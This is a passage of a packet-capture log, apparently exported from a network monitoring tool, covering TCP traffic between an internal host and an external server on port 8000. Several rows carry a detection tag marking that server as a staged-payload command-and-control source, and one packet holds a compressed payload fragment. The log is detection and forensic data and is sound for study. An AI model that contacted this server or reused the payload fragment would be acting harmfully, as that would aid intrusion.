Ack=2691200670,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa4eb68ec095a068769e8012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@.N.....hv.....\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808725, \"\"ack\"\": 2691200670, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:07:10.657683,274,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2691200670 Ack=3062808726,bc24112907bbbc2411360d0c080045000028b01a400080063fe50a98980bc0a3a789fa4e1f40a068769eb68ec09650102014dd340000,\".$.)...$.6\n...E..(..@...?.\n........N.@.hv.....P. ..4..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45082, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16357, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200670, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56628, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:07:10.671743,275,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=2691200670 Ack=3062808726,bc24112907bbbc2411360d0c0800450000c9b01b400080063f430a98980bc0a3a789fa4e1f40a068769eb68ec09650182014864a00009d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91d77181c70931949a07003fa0acad,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w..........W.~...z].m..q..\t1....?...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 201, \"\"id\"\": 45083, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16195, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200670, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 34378, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91d77181c70931949a07003fa0acad\"\"}}]\"\n2026-07-01 09:07:10.671767,276,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000028ca6c400040066593c0a3a7890a98980b1f40fa4eb68ec096a068773f5010003f0aeb0000,\".$.6\n..$.)....E..(.l@.@.e.....\n....@.N.....hw?P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51820, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 26003, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:07:11.685910,277,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b01c400080063fe20a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45084, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16354, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:11.685942,278,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca6d400040066586c0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.m@.@.e.....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51821, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25990, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:12.701577,279,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b01d400080063fe10a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45085, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16353, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:12.701608,280,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca6e400040066585c0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.n@.@.e.....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51822, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25989, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:13.701613,281,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b01e400080063fe00a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45086, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16352, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:13.701634,282,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca6f400040066584c0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.o@.@.e.....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51823, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25988, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:14.717223,283,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b01f400080063fdf0a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45087, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16351, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:14.717249,284,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca70400040066583c0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.p@.@.e.....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51824, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25987, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:15.732874,285,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b020400080063fde0a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45088, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16350, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:15.732907,286,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca71400040066582c0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.q@.@.e.....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51825, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25986, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:16.748538,287,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b021400080063fdd0a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45089, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16349, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200830, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56467, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:16.748558,288,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200831,bc2411360d0cbc24112907bb080045000034ca72400040066581c0a3a7890a98980b1f40fa4eb68ec096a068773f8010003f0af700000101050aa068773ea068773f,\".$.6\n..$.)....E..4.r@.@.e.....\n....@.N.....hw?...?\n......\n.hw>.hw?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51826, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25985, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200831, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200830, 2691200831))]\"\"}}]\"\n2026-07-01 09:07:17.748550,289,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200830 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b022400080063fdc0a98980bc0a3a789fa4e1f40a068773eb68ec09650102014dc93000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45090, 